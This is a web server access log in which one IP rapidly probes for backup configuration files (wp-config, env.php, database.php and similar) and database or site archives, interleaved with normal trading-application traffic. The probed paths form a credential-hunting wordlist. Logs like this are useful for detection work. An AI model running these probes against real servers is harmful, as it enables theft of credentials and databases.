[09/Jan/2026:10:56:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //Application/Common/Conf/config.php.backup HTTP/1.1" 196
[09/Jan/2026:10:56:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:56:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/dev/common/config/main-local.php.backup HTTP/1.1" 196
[09/Jan/2026:10:56:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database.tar.bz2 HTTP/1.1" 196
[09/Jan/2026:10:56:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/prod/common/config/main-local.php.backup HTTP/1.1" 196
[09/Jan/2026:10:56:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database.xz HTTP/1.1" 196
[09/Jan/2026:10:56:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //site/default/settings.php.swn HTTP/1.1" 196
[09/Jan/2026:10:56:47 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927691427 HTTP/1.1" -
[09/Jan/2026:10:56:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //common/config/main-local.php.backup HTTP/1.1" 196
[09/Jan/2026:10:56:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database.zip HTTP/1.1" 196
[09/Jan/2026:10:56:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //installation/configuration.php.swn HTTP/1.1" 196
[09/Jan/2026:10:56:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database.z HTTP/1.1" 196
[09/Jan/2026:10:56:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //system/config/default.php.backup HTTP/1.1" 196
[09/Jan/2026:10:56:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/etc/env.php.swn HTTP/1.1" 196
[09/Jan/2026:10:56:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database.Z HTTP/1.1" 196
[09/Jan/2026:10:56:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:56:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //typo3conf/localconf.php.backup HTTP/1.1" 196
[09/Jan/2026:10:56:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:56:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927677344 HTTP/1.1" -
[09/Jan/2026:10:56:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database.tar.z HTTP/1.1" 196
[09/Jan/2026:10:56:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_global.php.backup HTTP/1.1" 196
[09/Jan/2026:10:56:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database.tgz HTTP/1.1" 196
[09/Jan/2026:10:56:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_ucenter.php.backup HTTP/1.1" 196
[09/Jan/2026:10:56:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database.db HTTP/1.1" 196
[09/Jan/2026:10:56:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //textpattern/config.php.backup HTTP/1.1" 196
[09/Jan/2026:10:56:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database.jar HTTP/1.1" 196
[09/Jan/2026:10:56:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/common.inc.php.backup HTTP/1.1" 196
[09/Jan/2026:10:56:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database.sqlite HTTP/1.1" 196
[09/Jan/2026:10:56:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/database.php.backup HTTP/1.1" 196
[09/Jan/2026:10:56:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:56:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/system.php.backup HTTP/1.1" 196
[09/Jan/2026:10:56:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:56:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.inc.php.backup HTTP/1.1" 196
[09/Jan/2026:10:56:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:56:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.php.backup HTTP/1.1" 196
[09/Jan/2026:10:56:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:56:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.php.backup HTTP/1.1" 196
[09/Jan/2026:10:56:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database.sql.lz HTTP/1.1" 196
[09/Jan/2026:10:56:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.backup HTTP/1.1" 196
[09/Jan/2026:10:56:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:56:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/database.php.backup HTTP/1.1" 196
[09/Jan/2026:10:56:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:56:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/system.php.backup HTTP/1.1" 196
[09/Jan/2026:10:56:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:56:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //zb_users/c_option.php.backup HTTP/1.1" 196
[09/Jan/2026:10:56:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:56:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/class/config.php.backup HTTP/1.1" 196
[09/Jan/2026:10:56:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database.sql.z HTTP/1.1" 196
[09/Jan/2026:10:56:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/config/config.php.backup HTTP/1.1" 196
[09/Jan/2026:10:56:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:56:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/sql_config.php.backup HTTP/1.1" 196
[09/Jan/2026:10:56:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database.war HTTP/1.1" 196
[09/Jan/2026:10:56:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/bbscache/config.php.backup HTTP/1.1" 196
[09/Jan/2026:10:56:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Release.tar HTTP/1.1" 196
[09/Jan/2026:10:56:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.yml.backup HTTP/1.1" 196
[09/Jan/2026:10:56:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Release.7z HTTP/1.1" 196
[09/Jan/2026:10:56:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.php.backup HTTP/1.1" 196
[09/Jan/2026:10:56:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Release.bz2 HTTP/1.1" 196
[09/Jan/2026:10:56:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.inc.php.backup HTTP/1.1" 196
[09/Jan/2026:10:56:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927682825 HTTP/1.1" -
[09/Jan/2026:10:56:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Release.gz HTTP/1.1" 196
[09/Jan/2026:10:56:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.old.php.backup HTTP/1.1" 196
[09/Jan/2026:10:56:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Release.lz HTTP/1.1" 196
[09/Jan/2026:10:56:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //manager/includes/config.inc.php.backup HTTP/1.1" 196
[09/Jan/2026:10:56:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Release.rar HTTP/1.1" 196
[09/Jan/2026:10:56:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.ini.backup HTTP/1.1" 196
[09/Jan/2026:10:56:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Release.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:56:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db.php.backup HTTP/1.1" 196
[09/Jan/2026:10:56:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Release.tar.bz2 HTTP/1.1" 196
[09/Jan/2026:10:56:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //conn.php.backup HTTP/1.1" 196
[09/Jan/2026:10:56:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Release.xz HTTP/1.1" 196
[09/Jan/2026:10:56:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //database.php.backup HTTP/1.1" 196
[09/Jan/2026:10:56:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Release.zip HTTP/1.1" 196
[09/Jan/2026:10:56:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db_config.php.backup HTTP/1.1" 196
[09/Jan/2026:10:56:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Release.z HTTP/1.1" 196
[09/Jan/2026:10:56:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.inc.php.backup HTTP/1.1" 196
[09/Jan/2026:10:56:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/config.php.backup HTTP/1.1" 196
[09/Jan/2026:10:56:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Release.Z HTTP/1.1" 196
[09/Jan/2026:10:56:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Release.tar.z HTTP/1.1" 196
[09/Jan/2026:10:56:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config.php.backup HTTP/1.1" 196
[09/Jan/2026:10:56:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927696482 HTTP/1.1" -
[09/Jan/2026:10:56:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Release.tgz HTTP/1.1" 196
[09/Jan/2026:10:56:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //index.php.backup HTTP/1.1" 196
[09/Jan/2026:10:56:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //default.php.backup HTTP/1.1" 196
[09/Jan/2026:10:56:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Release.db HTTP/1.1" 196
[09/Jan/2026:10:56:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927682380 HTTP/1.1" -
[09/Jan/2026:10:56:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Release.jar HTTP/1.1" 196
[09/Jan/2026:10:56:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //main.php.backup HTTP/1.1" 196
[09/Jan/2026:10:56:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Release.sqlite HTTP/1.1" 196
[09/Jan/2026:10:56:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //settings.php.backup HTTP/1.1" 196
[09/Jan/2026:10:56:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //header.php.backup HTTP/1.1" 196
[09/Jan/2026:10:56:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Release.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:56:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //footer.php.backup HTTP/1.1" 196
[09/Jan/2026:10:56:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Release.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:56:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //login.php.backup HTTP/1.1" 196
[09/Jan/2026:10:56:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Release.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:56:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //404.php.backup HTTP/1.1" 196
[09/Jan/2026:10:56:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Release.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:56:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-login.php.backup HTTP/1.1" 196
[09/Jan/2026:10:56:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Release.sql.lz HTTP/1.1" 196
[09/Jan/2026:10:56:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.php.backup HTTP/1.1" 196
[09/Jan/2026:10:56:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Release.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:56:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.backup HTTP/1.1" 196
[09/Jan/2026:10:56:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Release.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:56:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.bak.backup HTTP/1.1" 196
[09/Jan/2026:10:56:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Release.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:56:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.backup HTTP/1.1" 196
[09/Jan/2026:10:56:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Release.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:56:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php_bak HTTP/1.1" 196
[09/Jan/2026:10:56:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Release.sql.z HTTP/1.1" 196
[09/Jan/2026:10:56:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config_bak HTTP/1.1" 196
[09/Jan/2026:10:56:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Release.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:56:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //site/default/settings.php_bak HTTP/1.1" 196
[09/Jan/2026:10:56:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Release.war HTTP/1.1" 196
[09/Jan/2026:10:56:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //installation/configuration.php_bak HTTP/1.1" 196
[09/Jan/2026:10:56:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //Application/Common/Conf/config.php.swn HTTP/1.1" 196
[09/Jan/2026:10:56:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inetpub.tar HTTP/1.1" 196
[09/Jan/2026:10:56:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/etc/env.php_bak HTTP/1.1" 196
[09/Jan/2026:10:56:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/dev/common/config/main-local.php.swn HTTP/1.1" 196
[09/Jan/2026:10:56:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inetpub.7z HTTP/1.1" 196
[09/Jan/2026:10:56:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //Application/Common/Conf/config.php_bak HTTP/1.1" 196
[09/Jan/2026:10:56:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/prod/common/config/main-local.php.swn HTTP/1.1" 196
[09/Jan/2026:10:56:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/dev/common/config/main-local.php_bak HTTP/1.1" 196
[09/Jan/2026:10:56:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //common/config/main-local.php.swn HTTP/1.1" 196
[09/Jan/2026:10:56:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:56:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/prod/common/config/main-local.php_bak HTTP/1.1" 196
[09/Jan/2026:10:56:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:56:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //common/config/main-local.php_bak HTTP/1.1" 196
[09/Jan/2026:10:56:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927687958 HTTP/1.1" -
[09/Jan/2026:10:56:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sql.tar.bz2 HTTP/1.1" 196
[09/Jan/2026:10:56:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dump.tar.bz2 HTTP/1.1" 196
[09/Jan/2026:10:56:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database.tar.bz2 HTTP/1.1" 196
[09/Jan/2026:10:56:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Release.tar.bz2 HTTP/1.1" 196
[09/Jan/2026:10:56:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inetpub.tar.bz2 HTTP/1.1" 196
[09/Jan/2026:10:56:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /package.tar.bz2 HTTP/1.1" 196
[09/Jan/2026:10:56:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmp.tar.bz2 HTTP/1.1" 196
[09/Jan/2026:10:56:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927701551 HTTP/1.1" -
[09/Jan/2026:10:56:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.tar.bz2 HTTP/1.1" 196
[09/Jan/2026:10:56:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data.tar.bz2 HTTP/1.1" 196
[09/Jan/2026:10:56:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ftp.tar.bz2 HTTP/1.1" 196
[09/Jan/2026:10:56:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927687411 HTTP/1.1" -
[09/Jan/2026:10:56:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /output.tar.bz2 HTTP/1.1" 196
[09/Jan/2026:10:56:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin.tar.bz2 HTTP/1.1" 196
[09/Jan/2026:10:56:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /upload.tar.bz2 HTTP/1.1" 196
[09/Jan/2026:10:56:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /src.tar.bz2 HTTP/1.1" 196
[09/Jan/2026:10:56:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/conf.tar.bz2 HTTP/1.1" 196
[09/Jan/2026:10:56:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //system/config/default.php.swn HTTP/1.1" 196
[09/Jan/2026:10:56:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /old.tar.bz2 HTTP/1.1" 196
[09/Jan/2026:10:56:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //typo3conf/localconf.php.swn HTTP/1.1" 196
[09/Jan/2026:10:56:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /202.181.208.139.xz HTTP/1.1" 196
[09/Jan/2026:10:56:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_global.php.swn HTTP/1.1" 196
[09/Jan/2026:10:56:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /208.139.xz HTTP/1.1" 196
[09/Jan/2026:10:56:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_ucenter.php.swn HTTP/1.1" 196
[09/Jan/2026:10:56:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /208.xz HTTP/1.1" 196
[09/Jan/2026:10:56:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //textpattern/config.php.swn HTTP/1.1" 196
[09/Jan/2026:10:56:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /202.181.xz HTTP/1.1" 196
[09/Jan/2026:10:56:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/common.inc.php.swn HTTP/1.1" 196
[09/Jan/2026:10:56:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /2026.xz HTTP/1.1" 196
[09/Jan/2026:10:57:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/database.php.swn HTTP/1.1" 196
[09/Jan/2026:10:57:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ROOT.xz HTTP/1.1" 196
[09/Jan/2026:10:57:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/system.php.swn HTTP/1.1" 196
[09/Jan/2026:10:57:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wwwroot.xz HTTP/1.1" 196
[09/Jan/2026:10:57:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.inc.php.swn HTTP/1.1" 196
[09/Jan/2026:10:57:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs.xz HTTP/1.1" 196
